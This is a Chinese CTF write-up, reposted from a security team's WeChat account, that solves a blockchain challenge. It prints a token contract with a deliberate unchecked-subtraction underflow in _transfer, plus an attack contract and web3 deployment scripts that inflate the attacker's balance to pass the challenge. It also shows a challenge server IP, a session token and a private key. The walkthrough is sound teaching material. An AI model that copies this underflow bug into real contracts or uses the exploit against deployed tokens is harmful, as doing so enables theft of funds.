区块链RealWorld-TransferFrom

区块链安全 2年前 (2022) admin
704 0 0

erc20_fake.sol

//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.6;

abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode – see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}

interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);

/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount)
external
returns (bool);

function allowance(address owner, address spender)
external
view
returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, “SafeMath: addition overflow”);

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, “SafeMath: subtraction overflow”);
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a – b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring ‘a’ not being zero, but the
// benefit is lost if ‘b’ is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, “SafeMath: multiplication overflow”);

return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, “SafeMath: division by zero”);
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn‘t hold

return c;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, “SafeMath: modulo by zero”);
}

function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

contract ERC20 is Context, IERC20 {
using SafeMath for uint256;

mapping(address => uint256) private _balances;

mapping(address => mapping(address => uint256)) private _allowances;

uint256 private _totalSupply;

string private _name;
string private _symbol;
uint8 private _decimals;

constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}

/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}

function symbol() public view returns (string memory) {
return _symbol;
}

function decimals() public view returns (uint8) {
return _decimals;
}

/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}

/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
“ERC20: transfer amount exceeds allowance”
)
);
return true;
}

function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
“ERC20: decreased allowance below zero”
)
);
return true;
}

function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), “ERC20: transfer from the zero address”);
require(recipient != address(0), “ERC20: transfer to the zero address”);
_balances[sender] = _balances[sender] – amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), “ERC20: mint to the zero address”);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), “ERC20: burn from the zero address”);
_balances[account] = _balances[account].sub(
amount,
“ERC20: burn amount exceeds balance”
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}

function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), “ERC20: approve from the zero address”);
require(spender != address(0), “ERC20: approve to the zero address”);

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
}

contract Ownable is Context {
address private _owner;

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(_owner == _msgSender(), “Ownable: caller is not the owner”);
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
“Ownable: new owner is the zero address”
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FishmenToken is ERC20(“FishmenToken”, “FMT”), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}

function burn(address _from, uint256 _amount) public {
_burn(_from, _amount);
}
}

 

deployer.sol

pragma solidity ^0.6.6;

import “./erc20_fake.sol”;

contract deployer {
FishmenToken public fishmenToken;
bool public isSvd;

constructor() public {
fishmenToken = new FishmenToken();
}

function solve() public returns (bool) {
require(fishmenToken.balanceOf(msg.sender) > 100,“token balance < 100”);
isSvd = true;
}

function isSolved() public view returns (bool) {
return isSvd;
}
}

 

合约看着很长,搞了一个fishmantoken,但其实漏洞很简单,看到erc20_fake.sol里,虽然用了所谓的safemath,但是注意到合约ERC20里的_transfer函数,

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

做transfer的时候他还是用了减号,那依然会造成下溢,【想要用到safemath的功能,这里得用sub】

所以这里我们可以部署一个 attack合约,然后用这个合约调用transfer随便往哪里赚钱,那么他自己的账户的钱就会下溢而变得很多。

攻击合约

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.6.6;
import “./erc20_fake.sol”;
import “./deployer.sol”;
contract attack{
address public challenge_addr=0x52936ec23b51C2137F4B68aBECe07246bae05B1f; // nc过去,部署的题目(deployer合约)地址
bool public flag;

deployer challenge=deployer(challenge_addr);
address public fishToken_addr=address(challenge.fishmenToken()); // 获取deployer部署的FishmenToken地址

FishmenToken fishtoken=FishmenToken(fishToken_addr); // FishmenToken合约的实例

constructor() public{
fishtoken.transfer(challenge_addr,999); // FishmenToken里攻击合约账户往题目账户(别的啥payable的账户都行)随便转点钱
flag=challenge.solve(); // 调用一下solve完成解题
}
}

解题步骤

和远程交互,建立一个部署题目的账户,

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0xe0Bd3B690dbB74c46d88DaFFE93ed803aEeDC1E2
[+] token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A

 

然后去8080端口,有水管,往这个账户搞点eth

区块链RealWorld-TransferFrom

image-20220123113346702

部署题目

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.iKzDRnediWHIiLDZoigMa-sO3kpIi8Mnz54rE_qlXEcdZLQpni6EM3E9-t5hZ2ePY0Bd2YQVRlblM4DYB4dMavNN3y_DPKUnhIui9JCOjFK0aTzO3y4nDKMXkrOfNcr5plzCzE5KMHNCk4qRHkxf86gH7cSBXNj4114S_VXrSItI0A
[+] contract address: 0x52936ec23b51C2137F4B68aBECe07246bae05B1f
[+] transaction hash: 0xaa10dc803284aa06242d6bff71da8134ac4a6a55dadbfe2a5f062e059f7ef2ae

好了,我们还得再自己建立一个部署攻击合约的账户,这里不能通过交互建立账户,他都不给你私钥,这里的用脚本交互去创建一个账户

from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
w3=Web3(HTTPProvider("http://47.102.47.140:8545/"))
key=w3.eth.account.create()
print(hex(bytes_to_long(key.privateKey)))
account= web3.eth.account.from_key('0x719e289ff8306c4e9ff66476bf35889e24eaa475c80878a2a42c760efaed2134')

然后还是,去水管往这个账户打点钱。

接下来我用remix去编译一下攻击合约,拿到他的字节码。或者也可以部署【注意到,这里肯定是部署失败的,但是我们主要想要他的bytecode】

区块链RealWorld-TransferFrom

image-20220123114242109

区块链RealWorld-TransferFrom

image-20220123114310342

然后我们继续用脚本,在这条私链上部署攻击合约

def deploy(rawTx):
    signedTx = w3.eth.account.signTransaction(rawTx, private_key=account.privateKey)
    hashTx = w3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
    receipt = w3.eth.waitForTransactionReceipt(hashTx)
    return receipt

if __name__ == ‘__main__’:
rawTx = {
‘from’: account.address,
‘nonce’: w3.eth.getTransactionCount(account.address),
‘gasPrice’: w3.toWei(1,‘gwei’),
‘gas’: 300000,
‘value’: w3.toWei(0, ‘ether’),
‘data’‘0x60806040527352936ec23b51c2137f4b68abece07246bae05b1f6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634fd0632f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561012157600080fd5b505afa158015610135573d6000803e3d6000fd5b505050506040513d602081101561014b57600080fd5b8101908080519060200190929190505050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561020b57600080fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103e76040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156102c157600080fd5b505af11580156102d5573d6000803e3d6000fd5b505050506040513d60208110156102eb57600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663890d69086040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561036757600080fd5b505af115801561037b573d6000803e3d6000fd5b505050506040513d602081101561039157600080fd5b8101908080519060200190929190505050600060146101000a81548160ff021916908315150217905550610161806103ca6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80636391e9b214610046578063890eba681461007a578063ba2740831461009a575b600080fd5b61004e6100ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100826100f4565b60405180821515815260200191505060405180910390f35b6100a2610107565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea26469706673582212207ec90564a59b7a55e8597b62d3533f1080a42eaeda42d4d65975915f883fac8a64736f6c634300060c0033’,
“chainId”: 1211  #私链的chainId可以去metamask导入查一下,是1211
}
receipt = deploy(rawTx)

 

然后交互去拿flag就好了。

 

 

end

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



区块链RealWorld-TransferFrom

原文始发于微信公众号(ChaMd5安全团队):区块链RealWorld-TransferFrom

版权声明:admin 发表于 2022年4月20日 上午8:00。
转载请注明:区块链RealWorld-TransferFrom | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...